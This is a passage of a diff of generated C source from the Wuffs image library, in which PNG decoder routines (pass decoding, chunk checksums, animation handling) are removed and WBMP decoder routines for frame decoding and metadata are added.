self->private_impl.f_frame_rect_x0))); +- v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); +- } +- if ((v_pass_width > 0u) && (v_pass_height > 0u)) { +- self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); +- self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); +- while (true) { +- { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); +- v_status = t_1; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { +- if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { +- wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); +- } +- if (v_status.repr == wuffs_base__suspension__short_read) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); +- goto exit; +- } +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- } +- v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; +- } +- if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { +- break; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace_pass += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- self->private_impl.f_call_sequence = 32u; ++ self->private_impl.f_call_sequence = 64u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -57537,338 +71103,217 @@ wuffs_png__decoder__do_decode_frame( + return status; + } + +-// -------- func png.decoder.decode_pass ++// -------- func wbmp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_pass( +- wuffs_png__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_w = &u_w; +- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_w_mark = 0; +- uint64_t v_r_mark = 0; +- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); +- uint32_t v_checksum_have = 0; +- uint32_t v_checksum_want = 0; +- uint32_t v_seq_num = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_pass[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_workbuf_wi = 0u; + while (true) { +- if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); +- goto exit; +- } + { +- wuffs_base__io_buffer* o_0_v_w = v_w; +- uint8_t *o_0_iop_v_w = iop_v_w; +- uint8_t *o_0_io0_v_w = io0_v_w; +- uint8_t *o_0_io1_v_w = io1_v_w; +- uint8_t *o_0_io2_v_w = io2_v_w; +- v_w = wuffs_base__io_writer__set( +- &u_w, +- &iop_v_w, +- &io0_v_w, +- &io1_v_w, +- &io2_v_w, +- wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_workbuf_wi, +- self->private_impl.f_pass_workbuf_length), +- ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); +- { +- const bool o_1_closed_a_src = a_src->meta.closed; +- const uint8_t *o_1_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_0; +- iop_v_w = u_w.data.ptr + u_w.meta.wi; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); +- io2_a_src = o_1_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_1_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- v_w = o_0_v_w; +- iop_v_w = o_0_iop_v_w; +- io0_v_w = o_0_io0_v_w; +- io1_v_w = o_0_io1_v_w; +- io2_v_w = o_0_io2_v_w; ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; + } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- if (self->private_impl.f_chunk_length > 0u) { +- status = wuffs_base__make_status(wuffs_base__error__too_much_data); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_checksum_want = t_1; +- } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); +- if (v_checksum_have != v_checksum_want) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- break; +- } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { +- if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; +- } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } else if (self->private_impl.f_chunk_length == 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_checksum_want = t_2; +- } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); +- if (v_checksum_have != v_checksum_want) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func wbmp.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_x_in_bytes = 0; ++ uint32_t v_dst_x = 0; ++ uint32_t v_dst_y = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_src[1] = {0}; ++ uint8_t v_c8 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; ++ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; ++ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; ++ memcpy(v_src, self->private_data.s_do_decode_frame.v_src, sizeof(v_src)); ++ v_c8 = self->private_data.s_do_decode_frame.v_c8; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(536870920u), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ if (self->private_impl.f_width > 0u) { ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (v_dst_y < self->private_impl.f_height) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_x = 0u; ++ while (v_dst_x < self->private_impl.f_width) { ++ if ((v_dst_x & 7u) == 0u) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); ++ if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); + } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; + } +- self->private_impl.f_chunk_length = t_3; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ if (((uint8_t)(v_c8 & 128u)) == 0u) { ++ v_src[0u] = 0u; + } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_chunk_type = t_4; +- } +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- if (self->private_impl.f_chunk_type != 1413563465u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- } else { +- if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); +- } +- } +- v_seq_num = t_5; ++ v_src[0u] = 255u; + } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; ++ v_c8 = ((uint8_t)((((uint32_t)(v_c8)) << 1u))); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); + } +- self->private_impl.f_next_animation_seq_num += 1u; ++ v_dst_x += 1u; + } +- continue; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- } +- if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { +- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); +- goto exit; +- } else if (0u < ((uint64_t)(a_workbuf.len))) { +- if (a_workbuf.ptr[0u] == 4u) { +- a_workbuf.ptr[0u] = 1u; ++ v_dst_y += 1u; + } + } ++ self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_decode_pass[0] = 0; ++ self->private_impl.p_do_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_pass[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; ++ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; ++ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; ++ memcpy(self->private_data.s_do_decode_frame.v_src, v_src, sizeof(v_src)); ++ self->private_data.s_do_decode_frame.v_c8 = v_c8; + + goto exit; + exit: +@@ -57879,12 +71324,12 @@ wuffs_png__decoder__decode_pass( + return status; + } + +-// -------- func png.decoder.frame_dirty_rect ++// -------- func wbmp.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_png__decoder__frame_dirty_rect( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__frame_dirty_rect( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_rect_ie_u32(); + } +@@ -57894,18 +71339,18 @@ wuffs_png__decoder__frame_dirty_rect( + } + + return wuffs_base__utility__make_rect_ie_u32( +- self->private_impl.f_frame_rect_x0, +- self->private_impl.f_frame_rect_y0, +- self->private_impl.f_frame_rect_x1, +- self->private_impl.f_frame_rect_y1); ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); + } + +-// -------- func png.decoder.num_animation_loops ++// -------- func wbmp.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_png__decoder__num_animation_loops( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_animation_loops( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57914,15 +71359,15 @@ wuffs_png__decoder__num_animation_loops( + return 0; + } + +- return self->private_impl.f_num_animation_loops_value; ++ return 0u; + } + +-// -------- func png.decoder.num_decoded_frame_configs ++// -------- func wbmp.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__num_decoded_frame_configs( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_decoded_frame_configs( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57931,15 +71376,18 @@ wuffs_png__decoder__num_decoded_frame_configs( + return 0; + } + +- return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func png.decoder.num_decoded_frames ++// -------- func wbmp.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__num_decoded_frames( +- const wuffs_png__decoder* self) { ++wuffs_wbmp__decoder__num_decoded_frames( ++ const wuffs_wbmp__decoder* self) { + if (!self) { + return 0; + } +@@ -57948,15 +71396,18 @@ wuffs_png__decoder__num_decoded_frames( + return 0; + } + +- return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; + } + +-// -------- func png.decoder.restart_frame ++// -------- func wbmp.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__restart_frame( +- wuffs_png__decoder* self, ++wuffs_wbmp__decoder__restart_frame( ++ wuffs_wbmp__decoder* self, + uint64_t a_index, + uint64_t a_io_position) { + if (!self) { +@@ -57971,154 +71422,514 @@ wuffs_png__decoder__restart_frame( + + if (self->private_impl.f_call_sequence < 32u) { + return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { ++ } ++ if (a_index != 0u) { + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + self->private_impl.f_call_sequence = 40u; +- if (self->private_impl.f_interlace_pass >= 1u) { +- self->private_impl.f_interlace_pass = 1u; +- } + self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); +- self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; + return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.set_report_metadata ++// -------- func wbmp.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_png__decoder__set_report_metadata( +- wuffs_png__decoder* self, ++wuffs_wbmp__decoder__set_report_metadata( ++ wuffs_wbmp__decoder* self, + uint32_t a_fourcc, + bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func wbmp.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__tell_me_more( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ 